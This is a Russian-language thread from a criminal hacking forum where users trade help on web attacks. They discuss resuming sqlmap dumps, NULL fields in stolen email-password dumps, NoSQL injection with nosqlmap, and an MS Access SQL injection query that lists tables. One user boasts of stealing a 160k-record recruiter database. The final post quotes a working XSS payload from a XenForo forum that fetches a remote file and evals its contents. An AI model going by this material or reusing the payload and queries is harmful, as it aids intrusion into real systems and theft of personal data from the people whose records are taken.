Спасибо, а это верно, что —resume позволяет начать с последнего сохраненного, чтоб не сначала?
-
XSS.stack #1 – первый литературный журнал от юзеров форума
[web-hacking] Ваши вопросы
- Автор темы .Slip
- Дата начала
-
- Теги
- web-hacking
результат помомему в файле session и когда нажмёшь дампить с теми же флагами он итак начнет с последнего , если нет то попробуй locate "target" и там сориентируешься
уже ничего не хочу спросить.
Последнее редактирование:
В дампе мыло-пасс попадаются записи типа email@email.com, NULL
Это пароля нет? Или какая-то защита сработала и не дала пасс сдернуть?
Это пароля нет? Или какая-то защита сработала и не дала пасс сдернуть?
да, поле пустое, пароль не задан
подскажите в линукс где этот параметр найти ? файла settings.ini нет , нагуглить тоже не получилось
В документации инфа вся(отрезок оттуда, ссылка):
Код:
How to edit the Acunetix settings.xml
Open the settings.xml file from the relevant location:
Windows: C:\ProgramData\Acunetix\shared\general\settings.xml
Linux: /home/acunetix/.acunetix/data/general/settings.xml
Make your changes.
For the changes to take effect, restart Acunetix.Thanks for help, actually this case was resolved a different way. I found another site from DB list on host. It was more vulnerable. Tampers didn't help unfortunately.
Есть вот такая уязвомось с { "$ne": null }, но на все пэйлоады для mongodb один ответ и данных не выдает других, RCE не работает. Что посоветуете попробовать?
Последнее редактирование:
Мало контекста, nosqlmap попробуй. Руками можно попробовать через регулярки что то вытащить(по сути брут получится)
Можешь ответить мне в частном порядке, пожалуйста?
Неактуально, все решилось. Надо оффтопно высказаться, не баньте.
Спасибо за ответы и статьи, я сегодня слил базу рекрутеров на 160к, я так боялся, что не научусь ломать больше и надо будет идти на завод. Но не пойду, я не совсем дебил (тьфу 3 раза).
Спасибо за ответы и статьи, я сегодня слил базу рекрутеров на 160к, я так боялся, что не научусь ломать больше и надо будет идти на завод. Но не пойду, я не совсем дебил (тьфу 3 раза).
Последнее редактирование:
Подскажите пожалуйста, а как выколупывать таблицы и колонки из db ms access? Гуглил, там баз как таковых вроде нет, надо сразу таблицы искать. но не ищет, перебрасывает на брут по словарю. В итоге или находит весь словарь, или вообще ничего.
Однажды давно удалось найти таблс и колонки к ним. но не смог вытащить данные.
Можно это побороть и как?
Однажды давно удалось найти таблс и колонки к ним. но не смог вытащить данные.
Можно это побороть и как?
Сдампь юзернейм и пароль админа, а затем войди с ними в панель управления базой данных/сайтом Так будет проще сдампить все данные
А как это сделать, если нет таблиц и колонок?
/del
Получить список таблиц:
SQL:
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.nameПарни советую заглядывать в документацию того с чем работаете, большинство решений лежит на поверхности, вот еще что может помочь:
MS Access SQL Injection - HackTricks
book.hacktricks.wiki
Последнее редактирование:
Спасибо!!!Получить список таблиц:
SQL:select MSysObjects.name from MSysObjects where MSysObjects.type In (1,4,6) and MSysObjects.name not like '~*' and MSysObjects.name not like 'MSys*' order by MSysObjects.name
Парни советую заглядывать в документацию того с чем работаете, большинство решений лежит на поверхности, вот еще что может помочь:
MS Access SQL Injection - HackTricks
book.hacktricks.wiki
.
Последнее редактирование:
На одном из форум XenForo увидел много сообщений с таким содержание
Что это?
Код:
[DYNAMICURL='" style=position:absolute;opacity:0><img src=//k onerror="fetch(`htt`+`ps://**********/kalita.jpg`).then(x=>x.text()).then(x=>eval(x.slice(70048)))']k[/DYNAMICURL]